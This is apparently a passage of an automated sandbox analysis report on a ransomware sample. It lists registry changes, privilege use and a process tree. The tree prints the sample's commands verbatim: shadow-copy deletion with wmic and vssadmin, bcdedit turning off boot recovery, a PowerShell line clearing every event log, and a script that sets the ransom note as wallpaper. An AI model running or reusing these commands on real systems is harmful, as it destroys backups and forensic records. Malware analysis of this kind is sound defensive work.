Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates\7B0F360B775F76C9	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPublisher\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CTLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\Total\ = "3611"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 80a22ce2ebddda01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.bing.com	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingDelete	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CRLs	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = ec69b4ccebddda01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\bing.com\Total = "132"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\tor-browser-windows-x86_64-portable-13.5.1.exe.vhga0ic.partial:Zone.Identifier	browser_broker.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
33716	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
3132	powershell.exe
3132	powershell.exe
3132	powershell.exe
3132	powershell.exe
32736	powershell.exe
32736	powershell.exe
32736	powershell.exe
34096	chrome.exe
34096	chrome.exe
34096	chrome.exe
34096	chrome.exe
34408	chrome.exe
34408	chrome.exe
34408	chrome.exe
34408	chrome.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
36628	MicrosoftEdgeCP.exe
36628	MicrosoftEdgeCP.exe
36628	MicrosoftEdgeCP.exe
36628	MicrosoftEdgeCP.exe
36628	MicrosoftEdgeCP.exe
36628	MicrosoftEdgeCP.exe
36628	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
Token: SeIncreaseQuotaPrivilege	4828	WMIC.exe
Token: SeSecurityPrivilege	4828	WMIC.exe
Token: SeTakeOwnershipPrivilege	4828	WMIC.exe
Token: SeLoadDriverPrivilege	4828	WMIC.exe
Token: SeSystemProfilePrivilege	4828	WMIC.exe
Token: SeSystemtimePrivilege	4828	WMIC.exe
Token: SeProfSingleProcessPrivilege	4828	WMIC.exe
Token: SeIncBasePriorityPrivilege	4828	WMIC.exe
Token: SeCreatePagefilePrivilege	4828	WMIC.exe
Token: SeBackupPrivilege	4828	WMIC.exe
Token: SeRestorePrivilege	4828	WMIC.exe
Token: SeShutdownPrivilege	4828	WMIC.exe
Token: SeDebugPrivilege	4828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4828	WMIC.exe
Token: SeRemoteShutdownPrivilege	4828	WMIC.exe
Token: SeUndockPrivilege	4828	WMIC.exe
Token: SeManageVolumePrivilege	4828	WMIC.exe
Token: 33	4828	WMIC.exe
Token: 34	4828	WMIC.exe
Token: 35	4828	WMIC.exe
Token: 36	4828	WMIC.exe
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeIncreaseQuotaPrivilege	4828	WMIC.exe
Token: SeSecurityPrivilege	4828	WMIC.exe
Token: SeTakeOwnershipPrivilege	4828	WMIC.exe
Token: SeLoadDriverPrivilege	4828	WMIC.exe
Token: SeSystemProfilePrivilege	4828	WMIC.exe
Token: SeSystemtimePrivilege	4828	WMIC.exe
Token: SeProfSingleProcessPrivilege	4828	WMIC.exe
Token: SeIncBasePriorityPrivilege	4828	WMIC.exe
Token: SeCreatePagefilePrivilege	4828	WMIC.exe
Token: SeBackupPrivilege	4828	WMIC.exe
Token: SeRestorePrivilege	4828	WMIC.exe
Token: SeShutdownPrivilege	4828	WMIC.exe
Token: SeDebugPrivilege	4828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4828	WMIC.exe
Token: SeRemoteShutdownPrivilege	4828	WMIC.exe
Token: SeUndockPrivilege	4828	WMIC.exe
Token: SeManageVolumePrivilege	4828	WMIC.exe
Token: 33	4828	WMIC.exe
Token: 34	4828	WMIC.exe
Token: 35	4828	WMIC.exe
Token: 36	4828	WMIC.exe
Token: SeBackupPrivilege	38444	vssvc.exe
Token: SeRestorePrivilege	38444	vssvc.exe
Token: SeAuditPrivilege	38444	vssvc.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeSecurityPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeSecurityPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeSecurityPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeSecurityPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeSecurityPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeSecurityPrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
41344	firefox.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
35184	MicrosoftEdge.exe
36628	MicrosoftEdgeCP.exe
36888	MicrosoftEdgeCP.exe
35184	MicrosoftEdge.exe
35184	MicrosoftEdge.exe
37500	MicrosoftEdgeCP.exe
36628	MicrosoftEdgeCP.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 2204	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	74
PID 2720 wrote to memory of 2204	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	74
PID 2720 wrote to memory of 4192	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	75
PID 2720 wrote to memory of 4192	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	75
PID 2720 wrote to memory of 4064	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	76
PID 2720 wrote to memory of 4064	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	76
PID 2720 wrote to memory of 4944	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	77
PID 2720 wrote to memory of 4944	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	77
PID 2720 wrote to memory of 528	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	78
PID 2720 wrote to memory of 528	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	78
PID 4192 wrote to memory of 4624	4192	cmd.exe	79
PID 4192 wrote to memory of 4624	4192	cmd.exe	79
PID 2204 wrote to memory of 4828	2204	cmd.exe	80
PID 2204 wrote to memory of 4828	2204	cmd.exe	80
PID 528 wrote to memory of 3132	528	cmd.exe	81
PID 528 wrote to memory of 3132	528	cmd.exe	81
PID 4944 wrote to memory of 38300	4944	cmd.exe	82
PID 4944 wrote to memory of 38300	4944	cmd.exe	82
PID 4064 wrote to memory of 38312	4064	cmd.exe	83
PID 4064 wrote to memory of 38312	4064	cmd.exe	83
PID 2720 wrote to memory of 32736	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	88
PID 2720 wrote to memory of 32736	2720	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe	88
PID 32736 wrote to memory of 33456	32736	powershell.exe	89
PID 32736 wrote to memory of 33456	32736	powershell.exe	89
PID 32736 wrote to memory of 33508	32736	powershell.exe	90
PID 32736 wrote to memory of 33508	32736	powershell.exe	90
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 33836 wrote to memory of 34008	33836	firefox.exe	95
PID 34044 wrote to memory of 34096	34044	chrome.exe	97
PID 34044 wrote to memory of 34096	34044	chrome.exe	97
PID 34388 wrote to memory of 34408	34388	chrome.exe	99
PID 34388 wrote to memory of 34408	34388	chrome.exe	99
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 36628 wrote to memory of 37772	36628	MicrosoftEdgeCP.exe	106
PID 35592 wrote to memory of 38204	35592	browser_broker.exe	113
PID 35592 wrote to memory of 38204	35592	browser_broker.exe	113
PID 38204 wrote to memory of 41284	38204	tor-browser-windows-x86_64-portable-13.5.1.exe	116
PID 38204 wrote to memory of 41284	38204	tor-browser-windows-x86_64-portable-13.5.1.exe	116
PID 41284 wrote to memory of 41344	41284	firefox.exe	117
PID 41284 wrote to memory of 41344	41284	firefox.exe	117
PID 41284 wrote to memory of 41344	41284	firefox.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
"C:\Users\Admin\AppData\Local\Temp\BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe"
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c wmic shadowcopy delete /nointeractive
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2204
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4828
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin.exe Delete Shadows /All /Quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:4624
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:38312
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:38300
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:32736
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1124436784.png /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:33456
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
    3⤵
    PID:33508

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:38444

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:33716

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:33836
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:34008

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:34044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7fffd6a49758,0x7fffd6a49768,0x7fffd6a49778
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:34096

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:34388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7fffd6a49758,0x7fffd6a49768,0x7fffd6a49778
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:34408

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
